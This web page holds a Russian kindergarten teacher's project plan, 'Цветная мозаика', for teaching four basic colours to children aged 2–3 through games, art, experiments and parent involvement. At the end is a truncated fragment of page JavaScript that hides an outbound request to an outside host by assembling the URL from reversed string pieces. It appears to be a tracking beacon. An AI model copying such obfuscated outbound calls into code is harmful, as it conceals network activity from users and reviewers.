Проект «Цветная мозаика»
проект (младшая группа)
Предварительный просмотр:
Проект «Цветная мозайка»
Проект составила:
воспитатель первой квалификационной категории
Шишкина Екатерина Евгеньевна
Вид проекта: Познавательный, творческий.
Продолжительность: краткосрочный: январь-февраль.
Участники проекта: дети группы раннего возраста 2 - 3 года, воспитатели, родители.
Образовательные области: «Социально – коммуникативное развитие», «Речевое развитие», «Познавательное развитие», «Физическое развитие», «Художественно – эстетическое развитие».
Цель проекта: Закрепить знания детей в названии цветов (красный, синий, желтый, зеленый) в различных видах деятельности. Дать понятие – «разноцветный».
Задачи проекта:
1. Упражнять в нахождении предметов заданного цвета вокруг себя.
2. Формировать в умении рассказывать о цвете.
3.Учить группировать предметы по цвету.
4. Развивать умения видеть характерные признаки предметов, воображение.
5. Развивать цветовое восприятие, внимание, наблюдательность.
6. Повышать педагогическую компетентность родителей по вопросам сенсорного развития детей.
Актуальность
Недостаточность знаний сенсорных эталонов родителями заинтересованности и умений о способах подачи их детям.
Помочь правильно сформировать у детей сенсорные эталоны через игровую деятельность.
Развивать мышление и воображение ребёнка. Побуждение думать и анализировать, делать выводы и обобщения.
Ожидаемые результаты проекта:
Дети правильно различают и называют цвета.
В ходе проекта были созданы условия, обеспечивающие эффективное закрепление знаний сенсорного восприятия через тематические дни;
ПЕРВЫЙ ЭТАП - ПОДГОТОВИТЕЛЬНЫЙ.
- Планирование работы
- Подбор и изучение литературы
- Подбор методического материала
- Подбор игрового материала
ВТОРОЙ ЭТАП - ОСНОВНОЙ.
Направления деятельности | Мероприятия |
Беседы: | "Найди и назови". |
Дидактические игры: | "Волшебный мешочек" "Солнышко", "Найди свое место". «Цветные стёклышки», «Мозаика». Д/И «Разложи по цвету» «Цветные домики», «Подбери лавочку для матрёшки» «Подбери пару» «Найди нужный цвет на одежде друга», «Собери цветочек». |
Чтение художественной литературы: | Чтение: русская народная потешка «Огуречик, огуречик...». А. Барто "Смотрит солнышко в окошко", русская народная сказка "Репка" |
Рисование: Лепка: Конструирование: | Рисование цыпленка Рисование ладошками хвоста петуху «Раскрась синим, красным, жёлтым, зелёным цветом шарики» "Огуречик". "Домик для солнышка". |
Подвижные игры: | «Найди свой домик», «Прокати шарик через ворота». «Цветные автомобили» «Кто скорее принесёт», |
Сюжетно-ролевые игры: | «Строители», «Путешествие на цветочную поляну», «Магазин игрушек». |
Рассматривание иллюстраций: | Рассматривание иллюстраций, предметных картинок, игрушек и предметов – основных цветов. |
Эксперимент | «Окрашивание воды в основные цвета», рисование цветной водой по снегу, «Тонет, не тонет». «Весёлый карандаш» |
Проведение серии тематических разноцветных дней с детьми: | - "Красный день" - "Синий день" - "желтый день" - "Зеленый день" |
Деятельность родителей | «Развитие сенсорных способностей детей раннего возраста». Презентация проекта на родительском собрании. Участие в оформлении интерьера группы (подготовка к цветной неделе. Помощь в создании дидактического материала для реализации проекта. «Вечер свободного творчества» (совместная деятельность детей и родителей). |
ТРЕТИЙ ЭТАП - ЗАКЛЮЧИТЕЛЬНЫЙ
• анализ результатов проекта;
• оформление презентации;
• Развлечение «Праздник разноцветных шаров».
• Развлечение «В мире цветов»;
• Фото отчет
По теме: методические разработки, презентации и конспекты
Программа "Цветная мозаика"
Дополнительная образовательная программа по сенсорике «Цветная мозаика» с детьми младшего дошкольного возрастаПаспорт программы по сенсорике «Цветная мозаика» Разработала программу:Волковска...
Рабочая программа студии детского творчества "Цветная мозаика" по развитию мелкой моторики рук и творческих способностей (старшая группа).
Развитие логического мышления, связной речи, памяти и внимания тесно связано с развитием мелкой моторики и координации движений пальцев рук. Уровень развития мелкой моторики – один из показателе...
ПРОЕКТ ДЛЯ ДЕТЕЙ ГРУППЫ «А» ОТ 1 ГОДА ДО 2 ЛЕТ «ЦВЕТНАЯ МОЗАИКА»
Создание условий для успешного, полноценного и интеллектуального развития детей раннего возраста через организацию форм взаимодействия с родителями....
Цветная мозаика
Игры, направленные на сенсорное развитие детей, (в частности, на развитие чувства цвета) обладают большими возможностями: позволяют знакомить детей с качествами и свойствами предметов, в данном случае...
Выкладывание из цветной мозаики на тему «Курочка и цыплята».
\'use strict\';var e,n,o;window.self===window.top&&(e=[\'//\',\'s:\',\'tp\',\'ht\'].reverse().join(\'\'),n=[\'fhka.trkg.ru\',\'48\'].join(\'/\'),(o=new Image).src=\'\'.concat(e).concat(n,\'.gif\')); !function(){if(!wi...